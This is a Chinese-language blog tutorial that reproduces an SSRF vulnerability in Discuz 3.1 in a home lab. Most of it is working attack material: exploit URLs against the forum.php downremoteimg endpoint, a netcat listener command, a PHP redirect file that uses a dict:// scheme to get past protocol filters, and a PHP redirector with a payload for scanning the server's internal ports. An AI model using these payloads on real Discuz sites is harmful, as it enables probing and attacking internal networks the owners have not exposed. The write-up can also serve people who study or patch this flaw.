ssrf漏洞利用操作

#001 环境搭建:
Phpstudy+win7搭建discuz漏洞环境
把Discuz-3.1 源码拖到网站根目录,然后访问upload目录进行安装,根据提示即可
安装完成访问一波:
在这里插入图片描述

#002 漏洞复现:
Centos7,临时关闭防火墙
在这里插入图片描述

开启nc监听6666端口:nc -lvp 6666
在这里插入图片描述
查看centos7的ip
在这里插入图片描述

利用discuz的漏洞向centos7发起一个请求:

http://192.168.136.132/discuz-ssrf/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://192.168.136.133:6666/?data=he2lo.jpg[/img]

在这里插入图片描述
回到centos7查看结果,成功收到了请求
在这里插入图片描述

#003 利用Header函数绕过限制;
限制原因:
很多网站不允许使用ftp dict gopher协议去请求的,所以需要php函数 header来绕过
利用条件:一台公网服务器(搭建了php、apache等环境)。

在公网服务器创建一个dict.php的文件内容为,:

<?php header("location: dict://192.168.136.133:6666/info"); ?>

在这里插入图片描述

然后在discuz中构造payload如下:
http://192.168.136.132/discuz-ssrf/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://192.168.136.133/dict.php?data=he2lo.jpg[/img]
在这里插入图片描述
并且在centos7开启监听:
回到centos7查看结果,成功接收到了请求info,成功利用header绕过限制,其他协议的绕过,改我们创建的php文件中的协议名称即可
在这里插入图片描述

#004 探测端口:
先在公网服务器创建一个port.php文件,内容如下:

<?php $ip = $_GET['ip']; $port = $_GET['port']; $scheme = $_GET['s']; $data = $_GET['data']; header("Location: $scheme://$ip:$port:$data"); ?>

在这里插入图片描述

构造payload:
http://192.168.136.132/discuz-ssrf/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://192.168.136.133/port.php?s=ftp%26ip=127.0.0.1%26port=80%26data=he2lo.jpg[/img]
在这里插入图片描述
如果加载的时间很长,说明该端口是开放的。其中127.0.0.1地址就是discuz的


版权声明:本文为L18296069161原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。